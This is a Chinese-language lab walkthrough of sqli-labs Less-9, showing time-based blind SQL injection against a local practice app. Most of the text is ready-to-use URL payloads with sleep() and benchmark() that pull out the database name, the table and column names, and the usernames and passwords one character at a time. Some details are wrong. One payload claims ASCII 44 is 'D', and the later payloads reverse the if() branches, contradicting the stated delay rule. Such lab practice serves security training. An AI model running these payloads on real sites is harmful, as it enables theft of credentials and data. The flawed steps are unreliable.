Sqli-labs Less-9 延时注入


本关我们从标题就可以看到 “时间盲注-单引号”,所以很明显这关要我们利用延时注入进行,同时id参数进行的是 ' 的处理。这里我们大致的将延时注入的方法演示一次。

延时注入是利用sleep()或benchmark()等函数让MySQL的执行时间变长。延时注入多与if(expr1,expr2,expr3)结合使用。此if语句含义是:如果expr1是true,则if()的返回值为expr2;否则返回值则为expr3。

这里用sleep()函数。

这里因为我们利用的是时间的延迟,贴图就没有意义了,这里只写payload了:(正确的时候等待5秒钟,不正确的时候直接返回,只贴正确的)

猜测数据库:

http://127.0.0.1/sql/Less-9/?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+

说明第一位是s (ascii码是115)

http://127.0.0.1/sql/Less-9/?id=1' and if(ascii(substr(database(),2,1))=101,sleep(5),1)--+

说明第二位是e (ascii码是101)

....

以此类推,我们知道了数据库名字是security

 

猜测security的数据表:

http://127.0.0.1/sql/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,sleep(5),1)--+

猜测第一个数据表的第一位是e,...依次类推,得到emails

http://127.0.0.1/sql/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=114,sleep(5),1)--+

猜测第二个数据表的第一位是r,...依次类推,得到referers

...

再以此类推,我们可以得到所有的数据表emails,referers,uagents,users

 

猜测users表的列:

http://127.0.0.1/sql/Less-9/?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+

猜测users表的第一个列的第一个字符是i,

以此类推,我们得到列名是id,username,password

 

猜测username的值:

http://127.0.0.1/sql/Less-9/?id=1' and if(ascii(substr((select username from users limit 0,1),1,1))=44,1,sleep(5))--+

猜测username的第一行的第一位是D,

以此类推,我们得到数据列username,password的所有内容

 

以上的过程就是我们利用sleep()函数注入的整个过程,当然了我们也可以使用benchmark()函数进行注入,举例如下:

猜测数据库的第一位是s,

http://127.0.0.1/sql/Less-9/?id=1' and if(substring(database(),1,1)=char(115),benchmark(50000000,encode('MSG','by 5 seconds')),1)--+

当结果正确的时候,运行ENCODE('MSG','by 5 seconds')操作50000000次,会占用一段时间。

其他步骤类似,我们这里就不进行演示了。

 

参考:https://www.cnblogs.com/lcamry/p/5763086.html


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM